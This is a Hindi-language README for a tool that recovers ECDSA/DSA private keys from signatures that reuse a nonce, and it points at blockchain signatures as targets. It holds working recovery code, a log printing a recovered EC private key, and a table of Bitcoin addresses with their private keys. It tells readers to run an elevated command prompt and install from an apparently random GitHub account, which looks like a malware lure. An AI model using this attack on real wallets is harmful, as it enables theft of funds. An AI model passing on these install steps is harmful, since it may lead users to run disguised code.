
ECDSA और DSA नॉन्स पुन: उपयोग निजी कुंजी पुनर्प्राप्ति हमलों को निष्पादित करें ताकि हस्ताक्षर कमजोरियों का विश्लेषण किया जा सके और ब्लॉकचेन हस्ताक्षरों से निजी कुंजियाँ पुनर्प्राप्त की जा सकें।
ECDSA और DSA नॉन्स पुन: उपयोग निजी कुंजी पुनर्प्राप्ति हमलों को निष्पादित करें
हस्ताक्षर कमजोरियों के विश्लेषण के लिए एक क्रिप्टोग्राफिक अनुसंधान उपकरण
आइए समान nonce k साझा करने वाले दो हस्ताक्षरों के लिए निजी-कुंजी पुनर्प्राप्त करें। ध्यान दें कि समान nonce k चुनने से दोनों हस्ताक्षरों में समान हस्ताक्षर मान r होता है। ECDSA नॉन्स पुन: उपयोग के लिए अच्छे उम्मीदवार खोजने हेतु विभिन्न संदेशों (या हैश) के लिए समान r, pubkey और curve साझा करने वाले हस्ताक्षरों की जाँच करें। उदाहरण के लिए, bitcoind पर आधारित ब्लॉकचेन परियोजनाएँ आमतौर पर ECDSA हस्ताक्षर सामग्री के अच्छे स्रोत होती हैं।
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.
# recover the private key
sampleA.recover_nonce_reuse(sampleB) # populates sampleA with the recovered private key ready for use
print sampleA.privkey
निम्नलिखित निर्देश Windows और Linux के लिए हैं; macOS उपयोगकर्ताओं के लिए एक DMG फ़ाइल उपलब्ध है।
अपने सिस्टम पर Git और Python की स्थापना सत्यापित करें।
Windows के लिए Git डाउनलोड करें:
https://git-scm.com/install/windows
Windows के लिए Python डाउनलोड करें (सीधा):
https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe
अंत में, cmd को व्यवस्थापक के रूप में लॉन्च करें।
git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git
cd ecdsa-private-key-recovery
py -m pip install -r requirements.txt
py setup.py install
Python 2.x:
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x:
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| BTC पता | Base58 निजी कुंजी | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
पुनर्प्राप्ति योग्य हस्ताक्षर ऑब्जेक्ट बनाएँ:
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# specify curve
curve = ecdsa.SECP256k1
# create standard ecdsa pubkey object from hex-encoded string
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# create sampleA and sampleB recoverable signature objects.
# long r, long s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# key not yet recovered
assert (sampleA.x is None)
sampleA के लिए निजी कुंजी पुनर्प्राप्त करें
# attempt to recover key - this updated object sampleA
sampleA.recover_nonce_reuse(sampleB) # recover privatekey shared with sampleB
assert (sampleA.x is not None) # assert privkey recovery succeeded. This gives us a ready to use ECDSA privkey object
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----